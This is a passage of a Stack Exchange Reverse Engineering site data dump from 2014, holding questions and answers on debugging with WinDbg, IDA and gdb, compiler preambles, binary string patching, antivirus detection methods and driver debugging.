= pid (can be from task manager&#xA; File = type of Object to search for &#xA;&#xA;&#xA;!dt can display memebers of nested structures with ease &#xA;-y with dt takes partial inputs (wild card entries ) &#xA; and displays  all matching structure members &#xA;&#xA;and the output is manipulatable with any text / stream handling &#xA;software like grep , sed . awk . find etc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="53" LastEditDate="2014-04-12T07:44:23.913" LastActivityDate="2014-04-12T07:44:23.913" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3966" PostTypeId="2" ParentId="3961" CreationDate="2014-03-26T13:07:34.387" Score="3" Body="&lt;p&gt;Use &lt;a href=&quot;https://www.hex-rays.com/products/ida/&quot; rel=&quot;nofollow&quot;&gt;IDA Pro&lt;/a&gt; with &lt;a href=&quot;http://www.openrce.org/downloads/download_file/57&quot; rel=&quot;nofollow&quot;&gt;pe_write.idc&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a full walk-through here: &lt;a href=&quot;http://resources.infosecinstitute.com/applied-cracking-byte-patching-ida-pro/&quot; rel=&quot;nofollow&quot;&gt;http://resources.infosecinstitute.com/applied-cracking-byte-patching-ida-pro/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-03-26T13:07:34.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3967" PostTypeId="1" CreationDate="2014-03-26T13:19:46.753" Score="4" ViewCount="207" Body="&lt;p&gt;For one of my projects I am interested to see how someone else implemented their concept. I wanted to tap onto their microprocessor and read that code. First question I have, if I am to solder wires to the pins of the microprocessor, to which ones should I solder in order to be able to read anything back? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I read about &lt;a href=&quot;https://electronics.stackexchange.com/questions/18435/what-are-lock-bits/18438#18438&quot;&gt;lock bits&lt;/a&gt;, for my own future security, if I leave the lock bits off, is there a method to trigger lock bits on if someone does any hardware changes (as in trying to tap to the microcontroller)?&lt;/p&gt;&#xA;" OwnerUserId="4250" LastEditorUserId="-1" LastEditDate="2017-04-13T12:33:10.963" LastActivityDate="2014-03-29T20:39:37.277" Title="Reverse engineering, code extraction, and lock bits" Tags="|object-code|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3968" PostTypeId="2" ParentId="3933" CreationDate="2014-03-26T13:38:36.243" Score="3" Body="&lt;p&gt;&lt;a href=&quot;http://www.wechall.net&quot; rel=&quot;nofollow&quot;&gt;WeChall.net&lt;/a&gt; is a conglomeration of a lot of &quot;hacking challenge&quot; websites. And most importantly it has a point/ranking system. Because points always matter. It includes IO and SmashTheStack and OverTheWire. It also has a rating system for people who have completed the &quot;challenge&quot; which includes fun factor/educational/difficulty which I found useful when trying to find problems to do. The one caveat is you run into a lot of contrived examples (aka DEFCON bs, like shellcode goes through a bubble sort) though practice is practice. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://microcorruption.com/login&quot; rel=&quot;nofollow&quot;&gt;MicroCorruption&lt;/a&gt; is a embedded CTF type website with a nice interface including interactive debugger that was put together by Matasano and Square. It focuses on embedded type systems and goes through the gamut of bugs but in an embedded environment (not x86, praise jesus)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option is to go through disclosed vulnerabilities from &lt;a href=&quot;http://www.exploit-db.com/&quot; rel=&quot;nofollow&quot;&gt;exploit-db&lt;/a&gt;. This obviously requires you to find proper versions of software but generally I've seen ways to obtain the software.&lt;/p&gt;&#xA;" OwnerUserId="3709" LastActivityDate="2014-03-26T13:38:36.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3969" PostTypeId="1" AcceptedAnswerId="3970" CreationDate="2014-03-26T15:31:27.673" Score="5" ViewCount="5208" Body="&lt;p&gt;VM packers like Code Virtualizer and VMProtect seem challenging to existing reverse engineering work, especially static approach like IDA Pro.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to this slides&lt;/p&gt;&#xA;&#xA;&lt;p&gt;www.hex-rays.com/products/ida/support/ppt/caro_obfuscation.ppt&lt;/p&gt;&#xA;&#xA;&lt;p&gt;from Hex-rays, IDA Pro requires experienced reverse engineer to manually recognize the opcode array and understand the semantic, then decode the bytecode array..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I myself use IDA Pro to deal with simple quicksort program using Code Virtualizer, and I can share two pics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vZqaZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See, I use Code Virtualizer to protect this part and IDA Pro can not go to 0X599050h.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UPTnc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See, the size of relocation section has a significant growth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Can IDA Pro automatically deal with VM obfuscated binaries?&lt;/li&gt;&#xA;&lt;li&gt;Any other interesting materials on the state-of-art in this area?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="3215" LastActivityDate="2021-01-06T15:20:27.243" Title="Can IDA Pro automatically deal with VM obfuscated binaries?" Tags="|ida|virtual-machines|virtualizers|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3970" PostTypeId="2" ParentId="3969" CreationDate="2014-03-26T16:59:13.570" Score="9" Body="&lt;p&gt;Regarding question #1, no IDA does not handle obfuscated binaries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might be interested by the Virtual Deofbuscator talk Jason Raber gave at Blackhat last year, he also released an IDA plugin and the source code is available.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Slides :&#xA;&lt;a href=&quot;https://media.blackhat.com/us-13/US-13-Raber-Virtual-Deobfuscator-A-DARPA-Cyber-Fast-Track-Funded-Effort-Slides.pdf&quot;&gt;https://media.blackhat.com/us-13/US-13-Raber-Virtual-Deobfuscator-A-DARPA-Cyber-Fast-Track-Funded-Effort-Slides.pdf&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Video : &lt;a href=&quot;https://www.youtube.com/watch?v=hoda99l5y_g&quot;&gt;https://www.youtube.com/watch?v=hoda99l5y_g&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;Source code :&#xA;&lt;a href=&quot;https://github.com/jnraber/VirtualDeobfuscator&quot;&gt;https://github.com/jnraber/VirtualDeobfuscator&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="28" LastActivityDate="2014-03-26T16:59:13.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3971" PostTypeId="1" AcceptedAnswerId="3975" CreationDate="2014-03-26T20:58:54.170" Score="6" ViewCount="1754" Body="&lt;p&gt;I was debugging a simple x86-64 program in Visual Studio 2010 and I noticed that the &lt;code&gt;main&lt;/code&gt; function preamble is different from the GNU GCC compiled version of the same C program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To illustrate what I mean here is the C code for the &lt;code&gt;main&lt;/code&gt; function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int main() {&#xA;  int a,b,c;&#xA;  a=1;&#xA;  b=2;&#xA;  c=proc(a,b);&#xA;  return c;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The Visual Studio 2010 disassembly of the &lt;code&gt;main&lt;/code&gt; function &lt;strong&gt;preamble&lt;/strong&gt; for the  VC++ version is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;01211410  push        ebp  &#xA;01211411  mov         ebp,esp  &#xA;01211413  sub         esp,0E4h  &#xA;01211419  push        ebx  &#xA;0121141A  push        esi  &#xA;0121141B  push        edi  &#xA;0121141C  lea         edi,[ebp-0E4h]  &#xA;01211422  mov         ecx,39h  &#xA;01211427  mov         eax,0CCCCCCCCh  &#xA;0121142C  rep stos    dword ptr es:[edi]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The rest of the function code of the VC++ version is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0081141E  mov         dword ptr [a],1  &#xA;00811425  mov         dword ptr [b],2  &#xA;0081142C  mov         eax,dword ptr [b]  &#xA;0081142F  push        eax  &#xA;00811430  mov         ecx,dword ptr [a]  &#xA;00811433  push        ecx  &#xA;00811434  call        proc (81114Fh)  &#xA;00811439  add         esp,8  &#xA;0081143C  mov         dword ptr [c],eax  &#xA;0081143F  mov         eax,dword ptr [c]  &#xA;00811442  pop         edi  &#xA;00811443  pop         esi  &#xA;00811444  pop         ebx  &#xA;00811445  add         esp,0E4h  &#xA;0081144B  cmp         ebp,esp  &#xA;0081144D  call        @ILT+300(__RTC_CheckEsp) (811131h)  &#xA;00811452  mov         esp,ebp  &#xA;00811454  pop         ebp  &#xA;00811455  ret &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The disassembly of the &lt;code&gt;main&lt;/code&gt; function &lt;strong&gt;preamble&lt;/strong&gt; for the GCC compiled version is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00400502  push   rbp&#xA;00400503  mov    rbp,rsp&#xA;00400506  sub    rsp,0x10&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The rest of the &lt;code&gt;main&lt;/code&gt; function code of the GCC version is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;004004e8  mov    DWORD PTR [rbp-0xc],0x1&#xA;004004ef  mov    DWORD PTR [rbp-0x8],0x2&#xA;004004f6  mov    edx,DWORD PTR [rbp-0x8]&#xA;004004f9  mov    eax,DWORD PTR [rbp-0xc]&#xA;004004fc  mov    esi,edx&#xA;004004fe  mov    edi,eax&#xA;00400500  call   0x4004cc &amp;lt;proc&amp;gt;&#xA;00400505  mov    DWORD PTR [rbp-0x4],eax&#xA;00400508  mov    eax,DWORD PTR [rbp-0x4]&#xA;0040050b  leave&#xA;0040050c  ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The same disassembly is given by &lt;code&gt;objdump&lt;/code&gt; version 2.22.90.20120924.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realize that the first 3 instructions for both preambles do the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Save old EBP (later needed to remove stack frame)&lt;/li&gt;&#xA;&lt;li&gt;Top of old stack frame becomes EBP of new frame&lt;/li&gt;&#xA;&lt;li&gt;Reserve space for local variables. The function has 3 integer local variables.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question 1:&lt;/strong&gt; What is the purpose of 4th instruction in the VC++ version? I see its saving EBX, but why? It never uses it afterwards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the remaining instructions of the VC++ version preamble, I relized that it initializes  &lt;code&gt;39h&lt;/code&gt; dwords with the value &lt;code&gt;0CCCCCCCCh&lt;/code&gt;. Which makes sense because &lt;code&gt;39h * 4h = 0E4h&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question 2:&lt;/strong&gt; Why is this space initialized with the value &lt;code&gt;0CCCCCCCCh&lt;/code&gt;? Is this value better than &lt;code&gt;00000000h&lt;/code&gt; in some way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question 3:&lt;/strong&gt; Why does the VC++ version allocate &lt;code&gt;0E4h&lt;/code&gt; bytes for 3 local variables? Is this number random? If not, how is it computed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question 4:&lt;/strong&gt; Is this space used for something else beside local variables? If yes, for what?&lt;/p&gt;&#xA;" OwnerUserId="3696" LastEditorUserId="3696" LastEditDate="2014-03-27T07:45:44.843" LastActivityDate="2014-03-27T07:45:44.843" Title="Understanding x86 C main function preamble created by Visual C++" Tags="|windows|decompilation|x86|c|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3972" PostTypeId="2" ParentId="3971" CreationDate="2014-03-27T00:18:54.810" Score="2" Body="&lt;ol&gt;&#xA;&lt;li&gt;Not sure, perhaps it's 'standard' so that the compiler can use ebx as a matter of course, (without needing to check if it can).&lt;/li&gt;&#xA;&lt;li&gt;As you should know, 0x0CC is int 3, a debug breakpoint. It might be that if you suddenly jump to uninitialized memory, you will get an int 3 instead of an A/V or similar exception. Just a guess though. One thing that wasn't mentioned was the compiler flags. Was it debug build?&lt;/li&gt;&#xA;&lt;li&gt;Not sure&lt;/li&gt;&#xA;&lt;li&gt;Not sure, try turning off the stack guards and see if you still get the big 0x0E4 allocation&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3638" LastActivityDate="2014-03-27T00:18:54.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3973" PostTypeId="2" ParentId="3961" CreationDate="2014-03-27T00:21:16.767" Score="1" Body="&lt;p&gt;Althought the 'GUI' is console based, I always used HIEW.&lt;/p&gt;&#xA;" OwnerUserId="3638" LastActivityDate="2014-03-27T00:21:16.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3974" PostTypeId="1" AcceptedAnswerId="6533" CreationDate="2014-03-27T01:36:42.070" Score="4" ViewCount="7850" Body="&lt;p&gt;I am trying to debug an iOS app with gdb and when I hit a breakpoint I get this error, and can not continue.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Program received signal SIGTRAP, Trace/breakpoint trap.&#xA;[Switching to process 190 thread 0x6fa7]&#xA;0x000ae150 in dyld_stub_pthread_key_create ()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how I can continue debugging without closing and opening back gdb?&lt;/p&gt;&#xA;" OwnerUserId="3680" LastActivityDate="2020-01-07T11:27:49.580" Title="Can not continue debugging after SIGTRAP" Tags="|ida|disassembly|assembly|gdb|ios|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3975" PostTypeId="2" ParentId="3971" CreationDate="2014-03-27T01:56:53.187" Score="6" Body="&lt;p&gt;The extra space on the stack is there to support the Edit and Continue functionality and can be eliminated by changing /Zl to /Zi. The saved ebx and initialization of the stack to 0xcc is done by the &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/8wtf2dfz.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;/RTC Runtime Checking Option&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There was a &lt;a href=&quot;https://stackoverflow.com/questions/2077074/understanding-the-c-function-call-prolog-with-cdecl-on-windows&quot;&gt;similar question&lt;/a&gt; asked on SO.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The windows example, by the way, is clearly a 32 bit binary. x64 windows calling convention uses RCX, RDX, R8, and R9 as the first 4 integer/pointer arguments (instead of the stack).&lt;/p&gt;&#xA;" OwnerUserId="1481" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2014-03-27T02:45:17.833" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3976" PostTypeId="2" ParentId="3961" CreationDate="2014-03-27T07:12:32.077" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://www.google.com.au/search?q=ollydbg%20%22patch%22&quot; rel=&quot;nofollow&quot;&gt;Ollydbg&lt;/a&gt; is a free tool - it's more of a debugger than a disassembler.&lt;/p&gt;&#xA;" OwnerUserId="1358" LastActivityDate="2014-03-27T07:12:32.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3977" PostTypeId="1" CreationDate="2014-03-27T07:30:43.140" Score="1" ViewCount="1049" Body="&lt;p&gt;I have an object file under Linux with a lot of strings in it.&#xA;I would like to replace all strings that represent a specific path in this object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see all the strings I need to change using the &lt;code&gt;strings&lt;/code&gt; utility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is there a way to replace all these strings at once ?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The path I want to change is shorter, so it should be relatively easy, just adding terminating zeros at the end of the strings so it will remain the same length on the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can write a short program that does this, but I wonder if there's already a tool I can use for this.&lt;/p&gt;&#xA;" OwnerUserId="35" LastActivityDate="2014-03-27T14:08:49.203" Title="Replace strings in object file" Tags="|linux|strings|object-code|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3978" PostTypeId="1" CreationDate="2014-03-27T10:23:06.607" Score="-2" ViewCount="909" Body="&lt;p&gt;I need to know how anti-virus programs catch malware. Do they do it with hash numbers or not?&lt;/p&gt;&#xA;" OwnerUserId="4205" LastEditorUserId="245" LastEditDate="2014-03-29T13:21:20.063" LastActivityDate="2014-03-29T13:21:20.063" Title="How do anti-virus programs catch a virus? How they detect it?" Tags="|malware|" AnswerCount="1" CommentCount="0" ClosedDate="2014-03-29T05:06:43.053" ContentLicense="CC BY-SA 3.0" />
  <row Id="3979" PostTypeId="2" ParentId="3978" CreationDate="2014-03-27T10:40:40.537" Score="10" Body="&lt;p&gt;The most typical methods to detect a malware are the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Streams of bytes. As simple as it sounds: find some specific string(s) or stream of bytes.&lt;/li&gt;&#xA;&lt;li&gt;Hashes. Either CRCs or similar to CRC hashes applied to some block of bytes like a section's data inside an executable file (i.e., a PE or ELF file) or the entry point. Each AV engine uses a different &quot;CRC like&quot; set of hashes.&lt;/li&gt;&#xA;&lt;li&gt;Generic detections and heuristics. Code, typically C or C++, that finds evidences and after a number of evidences it's considered &quot;malicious&quot;. Some evidences, talking about executable files, can be some specific instructions at the entry point, the number and name of sections in the executable, where the entry point is (i.e., if it's in the last section, etc...), the compilation time-stamp, the imported libraries and functions, the entropy of the file or the entropy of some section inside an executable file, etc...&lt;/li&gt;&#xA;&lt;li&gt;Cryptographic hashes. A long list of MD5 or SHA1 hashes for specific malware samples. A very bad approach, BTW.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Other techniques:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Graph hashes. A hash generated out of the call graph of the program or out of the flow graph of some specific function.&lt;/li&gt;&#xA;&lt;li&gt;Behaviour based heuristics. When a program executes a number of specific actions an AV engine can consider that the actions correspond to the actions of some specific malware. The behaviour, depending on the quality of each AV engine, can be get without actually executing the file but emulating it with the AV's emulator (x86, ARM, AMD64, JavaScript, ActionScript, etc...)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Those are the most common techniques used to detect malware by antivirus products.&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2014-03-27T10:40:40.537" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3980" PostTypeId="2" ParentId="3977" CreationDate="2014-03-27T12:59:43.543" Score="3" Body="&lt;p&gt;Here's a way to do that using Perl:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;perl -pi -e 's/pattern/replacement/g' binaryfile&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For example, I created this trivial C++ program:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// silly.cpp&#xA;#include &amp;lt;iostream&amp;gt;&#xA;#include &amp;lt;string&amp;gt;&#xA;&#xA;int main()&#xA;{&#xA;    std::string name(&quot;Mellowcandle&quot;);&#xA;    std::cout &amp;lt;&amp;lt; &quot;The name is &quot; &amp;lt;&amp;lt; name &amp;lt;&amp;lt; std::endl;&#xA;    std::cout &amp;lt;&amp;lt; &quot;One could call this person &quot; &amp;lt;&amp;lt; name &amp;lt;&amp;lt; std::endl;&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After compiling and linking it, I used this on the binary:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;perl -pi -e 's/Mellowcandle/Edward\0\0\0\0\0\0/g' silly&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which gives the intended effect.  Note that failing to pad the replacement string to the longer string length will cause those bytes to simply be omitted, causing a segfault or worse if you try to run the resulting binary.&lt;/p&gt;&#xA;" OwnerUserId="3557" LastActivityDate="2014-03-27T12:59:43.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3981" PostTypeId="2" ParentId="3977" CreationDate="2014-03-27T14:08:49.203" Score="1" Body="&lt;p&gt;Edward's Perl answer is great, so normally I wouldn't post another answer, but in response to the other part of your question...&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I wonder if there's already a tool I can use for this.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, pretty much every decent hex editor has a global search-and-replace function. &lt;a href=&quot;http://www.sweetscape.com/010editor/&quot; rel=&quot;nofollow&quot;&gt;010 Editor&lt;/a&gt; runs on Linux and definitely supports this functionality.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-03-27T14:08:49.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3982" PostTypeId="1" AcceptedAnswerId="4046" CreationDate="2014-03-27T15:52:45.423" Score="10" ViewCount="3771" Body="&lt;h2&gt;Problem Statement&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I'm trying to get the address of a running thread's &lt;code&gt;start_routine&lt;/code&gt; as passed in the &lt;code&gt;pthread_create()&lt;/code&gt; call.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Research so far&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;It is apparently not in &lt;code&gt;/proc/[tid]/stat&lt;/code&gt; or &lt;code&gt;/proc/[tid]/status&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found that &lt;code&gt;start_routine&lt;/code&gt; is a member of &lt;code&gt;struct pthread&lt;/code&gt; and gets set by &lt;code&gt;pthread_create&lt;/code&gt;[&lt;a href=&quot;http://fxr.watson.org/fxr/source/nptl/pthread_create.c?v=GLIBC27;im=excerpts#L455&quot;&gt;1&lt;/a&gt;].&#xA;If I knew the address of this &lt;code&gt;struct&lt;/code&gt;, I could read the &lt;code&gt;start_routine&lt;/code&gt; address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also found &lt;code&gt;td_thr_get_info&lt;/code&gt; defined in the debugging library &lt;code&gt;thread_db.h&lt;/code&gt; [&lt;a href=&quot;http://fxr.watson.org/fxr/source/nptl_db/td_thr_get_info.c?v=GLIBC27#L27&quot;&gt;2&lt;/a&gt;]. It fills a &lt;code&gt;struct&lt;/code&gt; with information about the thread, including the start function [&lt;a href=&quot;http://fxr.watson.org/fxr/source/nptl_db/thread_db.h?v=GLIBC27#L259&quot;&gt;3&lt;/a&gt;]. But, it needs a &lt;code&gt;struct td_thragent&lt;/code&gt; as an argument and I don't know how to create it properly.&lt;/p&gt;&#xA;" OwnerUserId="4254" LastEditorUserId="53" LastEditDate="2014-03-27T21:00:30.923" LastActivityDate="2014-04-09T13:11:27.140" Title="How can I get a running thread's start address on linux?" Tags="|linux|thread|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3983" PostTypeId="1" AcceptedAnswerId="4033" CreationDate="2014-03-28T12:50:55.777" Score="5" ViewCount="3324" Body="&lt;p&gt;I've been reversing a sample of the Uroborus trojan for my own learning joy. I'm having a hard time following it once it loads a windows kernel driver that implements the rootkit.  I've set up my environment for Kernel debugging (using IDA's windbg plugin) and set a breakpoint for the new driver (it's called Fdisk.sys, so I've been typing &quot;bu fdisk.sys!DriverEntry&quot;).  However, IDA never breaks when the driver is loaded. I can tell that it has run because it starts hiding a registry key (Ultra3), and dumping the memory and using Volatility to look at unloaded modules, I can see that fdisk.sys was unloaded.  I can also confirm that it's installed hooks into a number of kernel API's.  How do I get IDA/windbg to break on the driver before it gets to run? &lt;/p&gt;&#xA;" OwnerUserId="1387" LastEditorUserId="1387" LastEditDate="2014-03-28T13:53:11.727" LastActivityDate="2014-05-11T03:48:37.943" Title="How to break on not-yet-loaded kernel driver" Tags="|ida|malware|debugging|kernel-mode|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3984" PostTypeId="2" ParentId="3983" CreationDate="2014-03-28T14:26:40.480" Score="4" Body="&lt;p&gt;For windbg take a look at my answer here&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/1380/how-can-you-reliably-unpack-a-windows-driver-manually/2638#2638&quot;&gt;How can you reliably unpack a Windows driver manually?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you are using virtual kd and vmware just run the script when virtual kd breaks for the first time after the connection &lt;/p&gt;&#xA;&#xA;&lt;p&gt;it will simply print out all the driver details as and when they are loaded right from bootphase &lt;/p&gt;&#xA;&#xA;&lt;p&gt;for other vms you need to set &lt;code&gt;sxe -ibp; and reboot&lt;/code&gt; and run the script on Initial breakin&lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2014-03-28T14:26:40.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3985" PostTypeId="2" ParentId="3982" CreationDate="2014-03-28T20:03:29.843" Score="1" Body="&lt;p&gt;I'd be inclined to just use &lt;code&gt;gdb&lt;/code&gt; to attach to the process, issue an info threads, select the thread with thread &lt;code&gt;nn&lt;/code&gt; and do a &lt;code&gt;bt&lt;/code&gt;. The function you want is the one called by &lt;code&gt;start_thread()&lt;/code&gt;. Although, this will be in the start function, not the entry itself (although you could prob scan for a well known function prologue).&lt;/p&gt;&#xA;" OwnerUserId="1481" LastEditorUserId="53" LastEditDate="2014-04-04T07:11:29.090" LastActivityDate="2014-04-04T07:11:29.090" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3987" PostTypeId="1" CreationDate="2014-03-29T00:39:32.850" Score="1" ViewCount="1107" Body="&lt;p&gt;When WinDBG attach to a process, the EIP will point at &lt;code&gt;ntdll!DbgBreakPoint&lt;/code&gt; in a dedicated thread different to the main process threads.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to get the EIP value right before the attach operation? If possible, how to get the EIP value right before the attachment happened?&lt;/p&gt;&#xA;" OwnerUserId="4261" LastActivityDate="2014-03-29T07:09:24.513" Title="How to get the EIP value right before WinDBG attach operation?" Tags="|windbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3988" PostTypeId="2" ParentId="3987" CreationDate="2014-03-29T07:09:24.513" Score="3" Body="&lt;p&gt;There can be &lt;code&gt;arbitrary number of threads&lt;/code&gt; running in a process at any given time&lt;br&gt;&#xA;you require the eip of which thread or rather could you explain what you are after   because as posted your query doesnt semm to be logical.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to know where each of the thread is when you broke on attach   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Find the number of threads running in the process with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; ~*&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;thats a &lt;code&gt;tilde and asterisk&lt;/code&gt; it will list all the threads that are running at the time when windbg broke&lt;/p&gt;&#xA;&#xA;&lt;p&gt;now use the &lt;code&gt;number as a variable&lt;/code&gt; in a &lt;code&gt;.for loop&lt;/code&gt; to print out the &lt;code&gt;eip and ebp+4&lt;/code&gt; (return address on stack)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;script&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:019&amp;gt; .for (r $t0 = 0; @$t0 &amp;lt; 19; r $t0 = @$t0+1 ) { ~[@$t0]s; .printf &quot;%p\t%y\t%y\n&quot;,@eip,@eip,poi(@ebp+4);   }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;result (attached to a blank ieexplorer)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;7c90e514    ntdll!KiFastSystemCallRet (7c90e514)    USER32!RealMsgWaitForMultipleObjectsEx+0x13e (7e4195f9)&#xA;7c90e514    ntdll!KiFastSystemCallRet (7c90e514)    ADVAPI32!WmipEventPump+0x230 (77df8631)&#xA;7c90e514    ntdll!KiFastSystemCallRet (7c90e514)    KERNEL32!BaseThreadStart+0x37 (7c80b729)&#xA;7c90e514    ntdll!KiFastSystemCallRet (7c90e514)    KERNEL32!BaseThreadStart+0x37 (7c80b729)&#xA;7c90e514    ntdll!KiFastSystemCallRet (7c90e514)    KERNEL32!BaseThreadStart+0x37 (7c80b729)&#xA;7c90e514    ntdll!KiFastSystemCallRet (7c90e514)    RPCRT4!RecvLotsaCallsWrapper+0xd 